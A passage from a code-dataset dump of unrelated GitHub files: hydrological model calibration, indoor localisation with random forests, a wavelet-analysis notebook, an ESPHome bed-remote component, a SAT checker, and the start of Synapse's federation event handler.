classifier.predict(texts, k=3)\nprint(labels)\n\nlabels = classifier.predict_proba(texts, k=3)\nprint(labels)\n\n","repo_name":"BUPT-HeptaQ/NLP","sub_path":"ChineseNLP/SupervisedFastText.py","file_name":"SupervisedFastText.py","file_ext":"py","file_size_in_byte":3301,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"23"} +{"seq_id":"1847955013","text":"from pathlib import Path\n\nimport matplotlib.pyplot as plt\nimport spotpy\nfrom spotpy.parameter import Constant, Uniform\n\nimport mhm\n\n\nclass spot_setup:\n \"\"\"\n Spotpy setup for optimizing mHM with Spotpy.\n\n An existing mHM setup is optimized for one gauge with KGE as\n objective function.\n\n The `optimize` variable needs to be set to `.false.`, to prevent\n internal optimization triggers in mHM.\n\n All runtime output will be disabled.\n\n Parameters\n ----------\n namelist_mhm : str, optional\n Main namelist file path for mHM, by default \"mhm.nml\"\n namelist_mhm_param : str, optional\n Parameter namelist file path for mHM, by default \"mhm_parameter.nml\"\n namelist_mhm_output : str, optional\n Output namelist file path for mHM, by default \"mhm_outputs.nml\"\n namelist_mrm_output : str, optional\n Output namelist file path for mRM, by default \"mrm_outputs.nml\"\n cwd : str, optional\n Working directory to execute mHM, by default \".\"\n gauge_id : int, optional\n Gauge ID for optimization (starting at 1), by default 1\n minimize : bool, optional\n Flag to change the sign of the objective function\n for minimizing algorithms, by default False\n \"\"\"\n\n def __init__(\n self,\n namelist_mhm=\"mhm.nml\",\n namelist_mhm_param=\"mhm_parameter.nml\",\n namelist_mhm_output=\"mhm_outputs.nml\",\n namelist_mrm_output=\"mrm_outputs.nml\",\n cwd=\".\",\n gauge_id=1,\n minimize=False,\n ):\n # only show errors\n mhm.model.set_verbosity(level=1)\n # initialize model\n mhm.model.init(\n namelist_mhm=namelist_mhm,\n namelist_mhm_param=namelist_mhm_param,\n namelist_mhm_output=namelist_mhm_output,\n namelist_mrm_output=namelist_mrm_output,\n cwd=cwd,\n )\n # disable output during optimization\n mhm.model.disable_output()\n # set the gauge ID to optimize\n self.gauge_id = gauge_id\n # factor for target function when minimizing\n self.factor = -1 if minimize else 1\n\n # get parameter configuration of mHM\n para_names, para_config = mhm.get_parameter()\n self.params = []\n for name, config in zip(para_names, para_config):\n # names shouldn't have \",\" (like \"GeoParam(1,:)\")\n name = name.replace(\",:\", \"\")\n use_para = config[3] > 0.5 # Flag: 0 or 1\n if use_para:\n para = Uniform(name, low=config[0], high=config[1], optguess=config[2])\n else:\n para = Constant(name, config[2])\n self.params.append(para)\n\n # get observed runoff read by mHM\n self.runoff_obs = mhm.get_runoff_eval(gauge_id=self.gauge_id)[:, 1]\n\n def parameters(self):\n return spotpy.parameter.generate(self.params)\n\n def simulation(self, parameter):\n mhm.model.run_with_parameter(parameter)\n # runoff = [sim, obs]\n return mhm.get_runoff_eval(gauge_id=self.gauge_id)[:, 0]\n\n def evaluation(self):\n return self.runoff_obs\n\n def objectivefunction(self, simulation, evaluation):\n mask = evaluation > 0.0\n like = spotpy.objectivefunctions.kge(evaluation[mask], simulation[mask])\n return self.factor * like\n\n\nif __name__ == \"__main__\":\n here = Path(__file__).parent\n # only use test domain 1\n test_domain = here / \"..\" / \"..\" / \"test_domain\"\n spot_setup = spot_setup(gauge_id=1, minimize=False, cwd=test_domain)\n\n # Start a spotpy analysis\n sampler = spotpy.algorithms.lhs(spot_setup, dbname=\"LHS_mHM\", dbformat=\"csv\")\n sampler.sample(repetitions=200)\n # finalize mHM\n mhm.model.finalize()\n\n # Load the results gained with the latin hypercube sampler\n results = spotpy.analyser.load_csv_results(\"LHS_mHM\")\n plt.plot(results[\"like1\"])\n plt.show()\n","repo_name":"mhm-ufz/mHM","sub_path":"pybind/examples/05_spotpy_optimization.py","file_name":"05_spotpy_optimization.py","file_ext":"py","file_size_in_byte":3892,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"23"} +{"seq_id":"10327940689","text":"from datetime import datetime\nfrom typing import Tuple\nfrom unittest import TestCase\n\nimport joblib\nimport numpy as np\nimport pandas as pd\nimport torch\nfrom matplotlib import pyplot as plt\nfrom pandas import DataFrame\nfrom sklearn.ensemble import RandomForestRegressor, RandomForestClassifier\nfrom sklearn.impute import MissingIndicator, SimpleImputer\nfrom sklearn.multioutput import MultiOutputRegressor, MultiOutputClassifier\nfrom sklearn.pipeline import make_pipeline, FeatureUnion\nfrom torch.optim import Adam\nfrom torch.utils.data import RandomSampler, BatchSampler\nfrom tqdm.auto import trange, tqdm\n\nfrom hw3.common import COL, Estimator\nfrom lib import ensure_dir\n\n\nclass RFApproach(Estimator):\n def __init__(self, train_df: DataFrame, save_path: str = None, subsample_frac: float = 1e-2):\n super().__init__(train_df, 'tree')\n\n self.subsample_frac = subsample_frac\n feature_transformer = FeatureUnion(transformer_list=[\n ('feature', SimpleImputer()),\n ('indicators', MissingIndicator(missing_values=100))\n ])\n self.coor_tree = make_pipeline(feature_transformer,\n MultiOutputRegressor(RandomForestRegressor(n_estimators=100), n_jobs=-1))\n self.floor_tree = make_pipeline(feature_transformer,\n MultiOutputClassifier(RandomForestClassifier(n_estimators=100), n_jobs=-1))\n if save_path is None:\n # self.train_building_classifier()\n pass\n else:\n # self.clf = joblib.load(f'{save_path}/clf.joblib')\n self.coor_tree = joblib.load(f'{save_path}/coor_tree.joblib')\n self.floor_tree = joblib.load(f'{save_path}/floor_tree.joblib')\n\n def save(self):\n dt = datetime.now()\n path = f'param/{self.name}_{dt.strftime(\"%Y%m%d_%H%M%S\")}'\n ensure_dir(path)\n # joblib.dump(self.clf, f'{path}/clf.joblib')\n joblib.dump(self.coor_tree, f'{path}/coor_tree.joblib')\n joblib.dump(self.floor_tree, f'{path}/floor_tree.joblib')\n\n def train(self, n_epoch: int = 2, n_mini_inner: int = 1):\n df = self.train_df.sample(frac=self.subsample_frac)\n self.coor_tree.fit(df[COL.WAPs], df[COL.COOR2])\n self.floor_tree.fit(df[COL.WAPs], df[[COL.FLR, COL.BID]])\n\n def get_wap_locations(self) -> DataFrame:\n sub_df = self.train_df.sample(frac=self.subsample_frac)\n weight = np.power(sub_df[COL.WAPs].replace(100, np.nan) / 104.0 + 1.0, 0.3).fillna(0).values + 1e-12\n user_coor = sub_df[COL.COOR3].values\n df = DataFrame(data=(weight.T @ user_coor) / weight.sum(axis=0)[:, None], columns=COL.COOR3)\n df[COL.BID] = self.clf.predict(self.scaler.transform(df[COL.COOR2].values))\n return df\n\n def interpret(self):\n pass\n\n def estimate(\n self, test_X: DataFrame, n_test_itr: int = 100, batch_size: int = 500,\n nan_penalty: float = 0.0,\n ) -> Tuple[DataFrame, dict]:\n coor = self.coor_tree.predict(test_X)\n flr_bid = self.floor_tree.predict(test_X)\n return DataFrame({\n COL.COOR2[0]: coor[:, 0],\n COL.COOR2[1]: coor[:, 1],\n COL.FLR: flr_bid[:, 0],\n COL.BID: flr_bid[:, 1],\n }), dict()\n\n\nclass Test(TestCase):\n def test_shape(self):\n df = pd.read_csv('UJIndoorLoc/trainingData.csv')\n test_df = pd.read_csv('UJIndoorLoc/validationData.csv')\n\n rfa = RFApproach(df.sample(frac=0.01), subsample_frac=1e-2)\n rfa.train()\n rfa.interpret()\n rfa.estimate(test_df.sample(frac=0.1)[COL.WAPs], batch_size=10)\n","repo_name":"owen8877/ECO388","sub_path":"hw3/rf.py","file_name":"rf.py","file_ext":"py","file_size_in_byte":3638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"11171594621","text":"\n# coding: utf-8\n\n# In[1]:\n\nget_ipython().magic(u'matplotlib inline')\n\n\n# In[2]:\n\nimport pywt\n#import cooler\n\nfrom scipy.sparse import coo_matrix\nimport matplotlib.pyplot as plt\nimport matplotlib\n\nimport numpy as np\n\n\n# In[690]:\n\narray = np.loadtxt(\"forEgor.txt\")\n\n\n# In[742]:\n\nnon_mappable = array.sum(axis = 0) < 100\n\n\n# In[743]:\n\narray = array[~non_mappable,:][:,~non_mappable]\n\n\n# In[744]:\n\nf = plt.figure(figsize=(10,10))\nplt.imshow(-np.log1p(array), cmap='gray')\n\n\n# In[683]:\n\nf = plt.figure(figsize=(10,10))\nplt.imshow(-np.log1p(array), cmap='gray')\n\n\n# In[636]:\n\nmyplot(np.log1p(array[:,50]))\n\n\n# In[633]:\n\nf = plt.figure(figsize=(10,10))\nplt.matshow(-np.log1p(array),fignum=1,cmap = \"gray\")\n\n\n# In[796]:\n\nwavelet = \"haar\"\ncoeffs = pywt.wavedec2(-np.log1p(array),wavelet=wavelet)\n\n\n# In[782]:\n\nlen(coeffs)\n\n\n# In[783]:\n\nnp.sum(coeffs[5][0]**2,axis=1)\n\n\n# In[798]:\n\nf = plt.figure(figsize=(10,10))\nplt.matshow(coeffs[5][2],fignum=f.number,cmap = \"gray\")\n\n\n# In[654]:\n\nrecoeffs = [np.zeros_like(coeffs[0])]+[level if i+1 in {5,6} else (np.zeros_like(level[0]),None,None) for i,level in enumerate(coeffs[1:])]\n\n\n# In[105]:\n\nrecoeffs = [np.zeros_like(coeffs[0])]+ [(level[0],None,None) if i in {6} else tuple(np.zeros_like(level[0]) for _ in range(3)) for i,level in enumerate(coeffs[1:])]\n\n\n# In[187]:\n\nrecoeffs = [None]+[(level[0],None,None) if i+1 in {8} else tuple(np.zeros_like(level[0]) for _ in range(3)) for i,level in enumerate(coeffs[1:])]\n\n\n# {5,6,7} for haar\n\n# In[792]:\n\n#vertical details\nlevels = {5,6,7}\nrecoeffs = [None]+[(level[0],None,None) if i+1 in levels else (np.zeros_like(level[0]),None,None) for i,level in enumerate(coeffs[1:])]\n\n\n# In[564]:\n\n# horizontal and vertical details\nlevels = {5}\nrecoeffs = [None]+[(level[0],level[1],None) if i+1 in levels else (np.zeros_like(level[0]),None,None) for i,level in enumerate(coeffs[1:])]\n\n\n# In[802]:\n\n# vertical and diagonal details\nlevels = {5,6,7,8}\nrecoeffs = [None]+[(level[0],None,level[2]) if i+1 in levels else (np.zeros_like(level[0]),None,None) for i,level in enumerate(coeffs[1:])]\n\n\n# In[566]:\n\n# horizontal,vertical and diagonal details\nlevels = {5}\nrecoeffs = [None]+[level if i+1 in levels else (np.zeros_like(level[0]),None,None) for i,level in enumerate(coeffs[1:])]\n\n\n# In[555]:\n\n# diagonal details\nlevels = {5,6}\nrecoeffs = [None]+[(None,None,level[2]) if i+1 in levels else (np.zeros_like(level[0]),None,None) for i,level in enumerate(coeffs[1:])]\n\n\n# In[801]:\n\nrecmat = pywt.waverec2(recoeffs,wavelet=wavelet)\n\nf,ax = plt.subplots(1,2,figsize=(24,12),sharey=True)\nax[0].matshow(recmat,cmap = \"gray\")\nax[0].set_aspect(\"equal\")\nax[1].matshow(-np.log1p(array),cmap = \"gray\")\nax[1].set_aspect(\"equal\")\nf.tight_layout()\n\n\n# In[803]:\n\nrecmat = pywt.waverec2(recoeffs,wavelet=wavelet)\n\nf,ax = plt.subplots(1,2,figsize=(24,12),sharey=True)\nax[0].matshow(recmat,cmap = \"gray\")\nax[0].set_aspect(\"equal\")\nax[1].matshow(-np.log1p(array),cmap = \"gray\")\nax[1].set_aspect(\"equal\")\nf.tight_layout()\n\n\n# In[628]:\n\narray = np.load(\"hic-2.0-2000-1.npy\")\n\n\n# In[788]:\n\ncol_1 = 350\ncol_2 = 390\nf,ax = myplot(recmat[:,col_1]**2,figsize=(24,12),shape=(1,2),sharey = True)\nax[1].plot(recmat[:,col_2]**2)\n#ax[0].set_ylim(ymax = 0.015,ymin = 0)\nf.tight_layout()\n\n\n# In[789]:\n\nmyplot(np.sum(recmat**2,axis=0))\n\n\n# In[804]:\n\nmyplot(np.sum(recmat**2,axis=0))\n\n\n# In[677]:\n\nget_ipython().run_cell_magic(u'javascript', u'', u'IPython.OutputArea.prototype._should_scroll = function(lines) {\\n return false;\\n}')\n\n\n# In[790]:\n\nfig = plt.figure(figsize=(10,14))\ngs = plt.GridSpec(2,1,hspace = 0,height_ratios=[5,2])\nax1 = plt.subplot(gs[0,0])\nax1.matshow(-np.log1p(array),cmap = \"gray\")\nax = plt.subplot(gs[1,0],sharex=ax1)\nax.plot(np.sum(recmat**2,axis=0))\n\n\n# In[805]:\n\nfig = plt.figure(figsize=(10,14))\ngs = plt.GridSpec(2,1,hspace = 0,height_ratios=[5,2])\nax1 = plt.subplot(gs[0,0])\nax1.matshow(-np.log1p(array),cmap = \"gray\")\nax = plt.subplot(gs[1,0],sharex=ax1)\nax.plot(np.sum(recmat**2,axis=0))\n\n\n# In[736]:\n\ncol_1 = 750\ncol_2 = 400\nf,ax = myplot(recmat[:,col_1]**2,figsize=(24,12),shape=(1,2),sharey = True)\nax[1].plot(recmat[:,col_2]**2)\nf.tight_layout()\n\n\n# In[735]:\n\ncol_1 = 750\ncol_2 = 580\nf,ax = myplot(recmat[:,col_1]**2,figsize=(24,12),shape=(1,2),sharey = True)\nax[1].plot(recmat[:,col_2]**2)\nf.tight_layout()\n\n\n# In[733]:\n\nnp.sum(recmat[:,col_1]**2)\n\n\n# In[734]:\n\nnp.sum(recmat[:,col_2]**2)\n\n\n# In[500]:\n\ncol_1 = 370\ncol_2 = 400\nf,ax = myplot(recmat[:,col_1]**2,figsize=(24,12),shape=(1,2),sharey = True)\nax[1].plot(recmat[:,col_2]**2)\nf.tight_layout()\n\n\n# In[475]:\n\nmyplot(recmat[:,400],figsize=(7,6))\n\n\n# In[436]:\n\nmyplot(np.log1p(array[:,370]),figsize=(7,6))\n\n\n# In[435]:\n\nf,ax = myplot(np.log1p(array[:,370]),figsize=(16,6))\nax.plot(-recmat[:,370],\"r\")\n\n\n# In[424]:\n\nmyplot(recmat[580,:],figsize=(7,6))\n\n\n# In[279]:\n\nmyplot(recmat[:,],figsize=(7,6))\n\n\n# In[326]:\n\nnp.sum(recmat[:,800]**2)\n\n\n# In[327]:\n\nnp.sum(recmat[:,750]**2)\n\n\n# In[325]:\n\nmyplot(recmat[:,800]**2,figsize=(7,6))\n\n\n# In[324]:\n\nmyplot(recmat[:,750]**2,figsize=(7,6))\n\n\n# In[276]:\n\nmyplot(recmat[500,:]**2,figsize=(7,6))\n\n\n# In[ ]:\n\n\n\n\n# In[275]:\n\nmyplot(np.sum(recmat**2,axis = 0),figsize=(7,6))\n\n\n# In[256]:\n\nget_ipython().magic(u'run ../scripts/myplot.py')\n\n\n# In[95]:\n\nf = plt.figure(figsize=(10,10))\nplt.imshow(-np.log1p(array), cmap='gray')\n\n\n# In[ ]:\n\n\n\n","repo_name":"tiavlovskiegor24/CRG","sub_path":"2D+Wavelets.py","file_name":"2D+Wavelets.py","file_ext":"py","file_size_in_byte":5394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"594724356","text":"#import pandas\n#%%\nimport pandas as pd\n\n#%% create a list of dataframe list\nfilenames = ['Gold.csv', 'Silver.csv', 'Bronze.csv']\n\n#%% Create a list of three Dataframe: dataframes\ndataframes = []\nfor filename in filenames:\n dataframes.append(pd.read_csv('datasets/medals/' + filename))\n\n#%%\n# Make a copy of Gold Medal\nmedals = dataframes[0].copy()\n\n#%%\n#Create a list of new column names\nnew_labels = ['NOC', 'Country', 'Gold']\n\n\n#%% Rename the columns of medals using new_labels\nmedals.column = new_labels\n\n#%% Add columns \"silver\" and \"bronze\" for medal\nmedals['silver'] = dataframes[1]['Total']\nmedals['bronze'] = dataframes[2]['Total']\n\n#%% print medal\nprint(medals.head())","repo_name":"jeyziel/datacamp_courses","sub_path":"merging_dataframes/reading_dataframes.py","file_name":"reading_dataframes.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"16059631285","text":"from esphome import pins, automation\nfrom esphome.automation import maybe_simple_id\nimport esphome.codegen as cg\nimport esphome.config_validation as cv\nfrom esphome.components import spi\nfrom esphome.const import CONF_ID, CONF_INTERRUPT_PIN\n\nCONF_SDN_PIN = \"sdn_pin\"\n\nCONF_CHANNEL = \"channel\"\nCONF_CMD = \"cmd\"\nCONF_TARGET = \"target\"\nCONF_LEVEL = \"level\"\n\nDEPENDENCIES = [\"spi\"]\n\ntemperbridge_ns = cg.esphome_ns.namespace(\"temperbridge\")\nTemperBridge = temperbridge_ns.class_(\n \"TemperBridgeComponent\", cg.Component, spi.SPIDevice\n)\n\ntemperbridge_simple_command_ns = temperbridge_ns.enum(\"SimpleCommand\", is_class=True)\n\nSIMPLE_COMMANDS = {\n \"flat\": temperbridge_simple_command_ns.PRESET_FLAT,\n \"mode_1\": temperbridge_simple_command_ns.PRESET_MODE1,\n \"mode_2\": temperbridge_simple_command_ns.PRESET_MODE2,\n \"mode_3\": temperbridge_simple_command_ns.PRESET_MODE3,\n \"mode_4\": temperbridge_simple_command_ns.PRESET_MODE4,\n \"save_preset_mode1\": temperbridge_simple_command_ns.SAVE_PRESET_MODE1,\n \"save_preset_mode2\": temperbridge_simple_command_ns.SAVE_PRESET_MODE2,\n \"save_preset_mode3\": temperbridge_simple_command_ns.SAVE_PRESET_MODE3,\n \"save_preset_mode4\": temperbridge_simple_command_ns.SAVE_PRESET_MODE4,\n \"stop\": temperbridge_simple_command_ns.STOP,\n \"massage_mode_1\": temperbridge_simple_command_ns.MASSAGE_PRESET_MODE1,\n \"massage_mode_2\": temperbridge_simple_command_ns.MASSAGE_PRESET_MODE2,\n \"massage_mode_3\": temperbridge_simple_command_ns.MASSAGE_PRESET_MODE3,\n \"massage_mode_4\": temperbridge_simple_command_ns.MASSAGE_PRESET_MODE4,\n}\n\nvalidate_simple_command = cv.enum(SIMPLE_COMMANDS, lower=True)\n\ntemperbridge_position_command_ns = temperbridge_ns.enum(\n \"PositionCommand\", is_class=True\n)\n\nPOSITION_COMMANDS = {\n \"raise_head\": temperbridge_position_command_ns.RAISE_HEAD,\n \"raise_legs\": temperbridge_position_command_ns.RAISE_LEGS,\n \"lower_head\": temperbridge_position_command_ns.LOWER_HEAD,\n \"lower_legs\": temperbridge_position_command_ns.LOWER_LEGS,\n}\n\nvalidate_position_command = cv.enum(POSITION_COMMANDS, lower=True)\n\ntemperbridge_massage_target_enum = temperbridge_ns.enum(\"MassageTarget\", is_class=True)\n\nMASSAGE_TARGET = {\n \"head\": temperbridge_massage_target_enum.HEAD,\n \"legs\": temperbridge_massage_target_enum.LEGS,\n \"lumbar\": temperbridge_massage_target_enum.LUMBAR,\n}\n\nvalidate_massage_target = cv.enum(MASSAGE_TARGET, lower=True)\n\nExecuteSimpleCommandAction = temperbridge_ns.class_(\n \"ExecuteSimpleCommandAction\", automation.Action\n)\n\nPositionCommandAction = temperbridge_ns.class_(\n \"PositionCommandAction\", automation.Action\n)\n\nSetMassageIntensityAction = temperbridge_ns.class_(\n \"SetMassageIntensityAction\", automation.Action\n)\n\nSetChannelAction = temperbridge_ns.class_(\"SetChannelAction\", automation.Action)\n\nCONFIG_SCHEMA = (\n cv.Schema(\n {\n cv.GenerateID(): cv.declare_id(TemperBridge),\n cv.Required(CONF_SDN_PIN): pins.gpio_output_pin_schema,\n cv.Required(CONF_INTERRUPT_PIN): cv.All(\n pins.internal_gpio_input_pin_schema\n ),\n }\n )\n .extend(cv.COMPONENT_SCHEMA)\n .extend(spi.spi_device_schema(cs_pin_required=True))\n)\n\n\nasync def to_code(config):\n var = cg.new_Pvariable(config[CONF_ID])\n await cg.register_component(var, config)\n await spi.register_spi_device(var, config)\n\n interrupt_pin = await cg.gpio_pin_expression(config[CONF_INTERRUPT_PIN])\n cg.add(var.set_interrupt_pin(interrupt_pin))\n\n sdn_pin = await cg.gpio_pin_expression(config[CONF_SDN_PIN])\n cg.add(var.set_sdn_pin(sdn_pin))\n\n\n@automation.register_action(\n \"temperbridge.position_command_2\",\n PositionCommandAction,\n maybe_simple_id(\n {\n cv.GenerateID(): cv.use_id(TemperBridge),\n cv.Required(CONF_CMD): cv.templatable(validate_position_command),\n },\n ),\n)\nasync def temperbridge_start_position_command_to_code(\n config, action_id, template_arg, args\n):\n var = cg.new_Pvariable(action_id, template_arg)\n await cg.register_parented(var, config[CONF_ID])\n cg.add(var.set_cmd(config[CONF_CMD]))\n return var\n\n\n@automation.register_action(\n \"temperbridge.execute_simple_command\",\n ExecuteSimpleCommandAction,\n maybe_simple_id(\n {\n cv.GenerateID(): cv.use_id(TemperBridge),\n cv.Required(CONF_CMD): cv.templatable(validate_simple_command),\n },\n ),\n)\nasync def temperbridge_execute_simple_command_to_code(\n config, action_id, template_arg, args\n):\n var = cg.new_Pvariable(action_id, template_arg)\n await cg.register_parented(var, config[CONF_ID])\n cg.add(var.set_cmd(config[CONF_CMD]))\n return var\n\n\nvalidate_channel = cv.All(cv.int_range(min=0, max=9999))\n\n\n@automation.register_action(\n \"temperbridge.set_channel\",\n SetChannelAction,\n cv.maybe_simple_value(\n {\n cv.GenerateID(): cv.use_id(TemperBridge),\n cv.Required(CONF_CHANNEL): cv.templatable(validate_channel),\n },\n key=CONF_CHANNEL,\n ),\n)\nasync def temperbridge_set_channel_to_code(config, action_id, template_arg, args):\n var = cg.new_Pvariable(action_id, template_arg)\n await cg.register_parented(var, config[CONF_ID])\n template_ = await cg.templatable(config[CONF_CHANNEL], args, cg.uint16)\n cg.add(var.set_channel(template_))\n return var\n\n\nvalidate_massage_level = cv.All(cv.int_range(min=0, max=10))\n\n\n@automation.register_action(\n \"temperbridge.set_massage_intensity\",\n SetMassageIntensityAction,\n cv.Schema(\n {\n cv.GenerateID(): cv.use_id(TemperBridge),\n cv.Required(CONF_TARGET): cv.templatable(validate_massage_target),\n cv.Required(CONF_LEVEL): cv.templatable(validate_massage_level),\n }\n ),\n)\nasync def temperbridge_set_massage_intensity_to_code(\n config, action_id, template_arg, args\n):\n var = cg.new_Pvariable(action_id, template_arg)\n await cg.register_parented(var, config[CONF_ID])\n template_ = await cg.templatable(config[CONF_TARGET], args, validate_massage_target)\n cg.add(var.set_target(template_))\n\n template_ = await cg.templatable(config[CONF_LEVEL], args, cg.uint8)\n cg.add(var.set_level(template_))\n return var\n","repo_name":"th0mpy/AllonePro","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"1263501394","text":"class SAT :\n\n def __init__(self,nom_fichier) :\n fichier = open(nom_fichier, \"r\")\n caractere = fichier.read().split()\n fichier.close()\n self.liste_clause = []\n for i,c in enumerate(caractere) :\n if (i != 0 and i != 1) :\n if (i==2) :\n self.nombre_literal = int(c)\n elif (i==3) :\n self.nombre_clause = int(c)\n clause = []\n elif (c=='0'):\n self.liste_clause.append(clause)\n clause = []\n else:\n clause.append(int(c))\n \n def add_affectation(self,nom_fichier) :\n fichier = open(nom_fichier,\"r\")\n affectation = fichier.read().split()\n fichier.close()\n self.affectation= list(map(int, affectation))\n print(\"Les affectations sont \",self.affectation)\n \n def print_clauses(self) :\n for i,clause in enumerate(self.liste_clause) :\n print('La clause ',i+1,' est : ',end=' ')\n for literal in clause :\n print (literal,end=' ')\n print('\\n',end='')\n \n def print_nombre_clause (self) :\n print('Il y a ', self.nombre_clause, ' clause(s)')\n \n def print_nombre_literal (self) :\n print('Il y a ',self.nombre_literal,' literal(s)')\n\n @staticmethod\n def clause_is_false (clause) :\n for i in range (len(clause)) :\n if clause[i] != False:\n return False\n return True\n \n def is_sat(self) :\n for literal in self.affectation :\n for clause in self.liste_clause :\n changer_close=False\n if (clause != True) :\n for literal_clause in clause :\n if(changer_close==False) :\n if literal_clause == literal :\n self.liste_clause[self.liste_clause.index(clause)]=True\n changer_close = True\n elif (-1 * literal_clause == literal) :\n clause[clause.index(literal_clause)]=False\n if (SAT.clause_is_false(clause)) :\n print(\"La probléme SAT n'est pas satisfiable.\")\n return False\n print(self.nombre_clause)\n for i in range (self.nombre_clause) :\n if self.liste_clause[i] != True:\n print(\"La probléme SAT n'est pas satisfiable.\")\n return False\n print(\"La probléme SAT est satisfiable.\")\n return True\n\nsat1 = SAT('clause.txt')\nsat1.add_affectation('affectation.txt')\nsat1.is_sat() ","repo_name":"AkimSaadi/Complexite","sub_path":"CH_SA_Complexite_TP2/Mini projet 1/Mini projet 1.py","file_name":"Mini projet 1.py","file_ext":"py","file_size_in_byte":2744,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"36255002569","text":"import collections\nimport itertools\nimport logging\nfrom http import HTTPStatus\nfrom typing import (\n TYPE_CHECKING,\n Collection,\n Container,\n Dict,\n Iterable,\n List,\n Optional,\n Sequence,\n Set,\n Tuple,\n)\n\nfrom prometheus_client import Counter, Histogram\n\nfrom synapse import event_auth\nfrom synapse.api.constants import (\n EventContentFields,\n EventTypes,\n GuestAccess,\n Membership,\n RejectedReason,\n RoomEncryptionAlgorithms,\n)\nfrom synapse.api.errors import (\n AuthError,\n Codes,\n EventSizeError,\n FederationError,\n FederationPullAttemptBackoffError,\n HttpResponseException,\n PartialStateConflictError,\n RequestSendFailed,\n SynapseError,\n)\nfrom synapse.api.room_versions import KNOWN_ROOM_VERSIONS, RoomVersion, RoomVersions\nfrom synapse.event_auth import (\n auth_types_for_event,\n check_state_dependent_auth_rules,\n check_state_independent_auth_rules,\n validate_event_for_room_version,\n)\nfrom synapse.events import EventBase\nfrom synapse.events.snapshot import EventContext, UnpersistedEventContextBase\nfrom synapse.federation.federation_client import InvalidResponseError, PulledPduInfo\nfrom synapse.logging.context import nested_logging_context\nfrom synapse.logging.opentracing import (\n SynapseTags,\n set_tag,\n start_active_span,\n tag_args,\n trace,\n)\nfrom synapse.metrics.background_process_metrics import run_as_background_process\nfrom synapse.replication.http.devices import (\n ReplicationMultiUserDevicesResyncRestServlet,\n)\nfrom synapse.replication.http.federation import (\n ReplicationFederationSendEventsRestServlet,\n)\nfrom synapse.state import StateResolutionStore\nfrom synapse.storage.databases.main.events_worker import EventRedactBehaviour\nfrom synapse.types import (\n PersistedEventPosition,\n RoomStreamToken,\n StateMap,\n StrCollection,\n UserID,\n get_domain_from_id,\n)\nfrom synapse.types.state import StateFilter\nfrom synapse.util.async_helpers import Linearizer, concurrently_execute\nfrom synapse.util.iterutils import batch_iter, partition, sorted_topologically_batched\nfrom synapse.util.retryutils import NotRetryingDestination\nfrom synapse.util.stringutils import shortstr\n\nif TYPE_CHECKING:\n from synapse.server import HomeServer\n\n\nlogger = logging.getLogger(__name__)\n\nsoft_failed_event_counter = Counter(\n \"synapse_federation_soft_failed_events_total\",\n \"Events received over federation that we marked as soft_failed\",\n)\n\n# Added to debug performance and track progress on optimizations\nbackfill_processing_after_timer = Histogram(\n \"synapse_federation_backfill_processing_after_time_seconds\",\n \"sec\",\n [],\n buckets=(\n 0.1,\n 0.25,\n 0.5,\n 1.0,\n 2.5,\n 5.0,\n 7.5,\n 10.0,\n 15.0,\n 20.0,\n 25.0,\n 30.0,\n 40.0,\n 50.0,\n 60.0,\n 80.0,\n 100.0,\n 120.0,\n 150.0,\n 180.0,\n \"+Inf\",\n ),\n)\n\n\nclass FederationEventHandler:\n \"\"\"Handles events that originated from federation.\n\n Responsible for handing incoming events and passing them on to the rest\n of the homeserver (including auth and state conflict resolutions)\n \"\"\"\n\n def __init__(self, hs: \"HomeServer\"):\n self._clock = hs.get_clock()\n self._store = hs.get_datastores().main\n self._storage_controllers = hs.get_storage_controllers()\n self._state_storage_controller = self._storage_controllers.state\n\n self._state_handler = hs.get_state_handler()\n self._event_creation_handler = hs.get_event_creation_handler()\n self._event_auth_handler = hs.get_event_auth_handler()\n self._message_handler = hs.get_message_handler()\n self._bulk_push_rule_evaluator = hs.get_bulk_push_rule_evaluator()\n self._state_resolution_handler = hs.get_state_resolution_handler()\n # avoid a circular dependency by deferring execution here\n self._get_room_member_handler = hs.get_room_member_handler\n\n self._federation_client = hs.get_federation_client()\n self._third_party_event_rules = (\n hs.get_module_api_callbacks().third_party_event_rules\n )\n self._notifier = hs.get_notifier()\n\n self._is_mine_id = hs.is_mine_id\n self._is_mine_server_name = hs.is_mine_server_name\n self._server_name = hs.hostname\n self._instance_name = hs.get_instance_name()\n\n self._config = hs.config\n self._ephemeral_messages_enabled = hs.config.server.enable_ephemeral_messages\n\n self._send_events = ReplicationFederationSendEventsRestServlet.make_client(hs)\n if hs.config.worker.worker_app:\n self._multi_user_device_resync = (\n ReplicationMultiUserDevicesResyncRestServlet.make_client(hs)\n )\n else:\n self._device_list_updater = hs.get_device_handler().device_list_updater\n\n # When joining a room we need to queue any events for that room up.\n # For each room, a list of (pdu, origin) tuples.\n # TODO: replace this with something more elegant, probably based around the\n # federation event staging area.\n self.room_queues: Dict[str, List[Tuple[EventBase, str]]] = {}\n\n self._room_pdu_linearizer = Linearizer(\"fed_room_pdu\")\n\n async def on_receive_pdu(self, origin: str, pdu: EventBase) -> None:\n \"\"\"Process a PDU received via a federation /send/ transaction\n\n Args:\n origin: server which initiated the /send/ transaction. Will\n be used to fetch missing events or state.\n pdu: received PDU\n \"\"\"\n\n # We should never see any outliers here.\n assert not pdu.internal_metadata.outlier\n\n room_id = pdu.room_id\n event_id = pdu.event_id\n\n # We reprocess pdus when we have seen them only as outliers\n existing = await self._store.get_event(\n event_id, allow_none=True, allow_rejected=True\n )\n\n # FIXME: Currently we fetch an event again when we already have it\n # if it has been marked as an outlier.\n if existing:\n if not existing.internal_metadata.is_outlier():\n logger.info(\n \"Ignoring received event %s which we have already seen\", event_id\n )\n return\n if pdu.internal_metadata.is_outlier():\n logger.info(\n \"Ignoring received outlier %s which we already have as an outlier\",\n event_id,\n )\n return\n logger.info(\"De-outliering event %s\", event_id)\n\n # do some initial sanity-checking of the 